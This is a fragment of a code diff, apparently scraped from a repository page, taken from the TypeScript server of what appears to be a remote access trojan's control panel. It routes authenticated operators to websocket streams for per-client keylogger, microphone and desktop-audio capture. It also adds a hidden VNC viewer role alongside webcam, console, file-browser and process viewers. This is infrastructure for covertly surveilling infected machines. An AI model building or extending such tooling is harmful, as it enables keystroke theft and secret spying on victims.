const clientId = keyloggerMatch[1];
|
|
||||||
const denied = checkOperatorAccess(user, clientId, "keylogger");
|
|
||||||
if (denied) return denied;
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "keylogger_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/);
|
|
||||||
if (voiceMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
const clientId = voiceMatch[1];
|
|
||||||
const denied = checkOperatorAccess(user, clientId, "voice");
|
|
||||||
if (denied) return denied;
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "voice_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const desktopAudioMatch = url.pathname.match(/^\/api\/clients\/(.+)\/desktop-audio\/ws$/);
|
|
||||||
if (desktopAudioMatch) {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (user.role === "viewer") {
|
|
||||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
|
||||||
}
|
|
||||||
const clientId = desktopAudioMatch[1];
|
|
||||||
const denied = checkOperatorAccess(user, clientId, "voice");
|
|
||||||
if (denied) return denied;
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "desktop_audio_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/api/dashboard/ws") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "dashboard_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/api/chat/ws") {
|
|
||||||
const user = await authenticateRequest(req);
|
|
||||||
if (!user) {
|
|
||||||
return new Response("Unauthorized", { status: 401 });
|
|
||||||
}
|
|
||||||
if (!hasPermission(user.role, "chat:write", user.userId)) {
|
|
||||||
return new Response("Forbidden: Chat access denied", { status: 403 });
|
|
||||||
}
|
|
||||||
const ip = server.requestIP(req)?.address || "";
|
|
||||||
if (server.upgrade(req, { data: { role: "chat_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
|
|
||||||
return new Response();
|
|
||||||
}
|
|
||||||
return new Response("Upgrade failed", { status: 500 });
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ export type SocketRole =
|
|||||||
| ClientRole
|
| ClientRole
|
||||||
| "console_viewer"
|
| "console_viewer"
|
||||||
| "rd_viewer"
|
| "rd_viewer"
|
||||||
|
| "hvnc_viewer"
|
||||||
| "webcam_viewer"
|
| "webcam_viewer"
|
||||||
| "file_browser_viewer"
|
| "file_browser_viewer"
|
||||||
| "process_viewer"
|
| "process_viewer"
|
||||||
|
|||||||
@@ -92,6 +92,23 @@ export function getThumbnailVersion(id: string): number {
|
|||||||
return thumbnails.get(id)?.version ?? 0;
|
return thumbnails.get(id)?.version ?? 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export type ThumbnailSummary = {
|
||||||
|
hasThumbnail: boolean;
|
||||||
|
thumbnailVersion: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
export function getThumbnailSummaries(ids: readonly string[]): Map<string, ThumbnailSummary> {
|
||||||
|
const summaries = new Map<string, ThumbnailSummary>();
|
||||||
|
for (const id of ids) {
|
||||||
|
const thumbnail = thumbnails.get(id);
|
||||||
|
summaries.set(id, {
|
||||||
|
hasThumbnail: !!thumbnail,
|
||||||
|
thumbnailVersion: thumbnail?.version ?? 0,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return summaries;
|
||||||
|
}
|
||||||
|
|
||||||
export function clearThumbnail(id: string) {
|
export function clearThumbnail(id: string) {
|
||||||
thumbnails.delete(id);
|
thumbnails.delete(id);
|
||||||
latestFrames.delete(id);
|
latestFrames.delete(id);
|
||||||
|
|||||||
Reference in New Issue
Block a user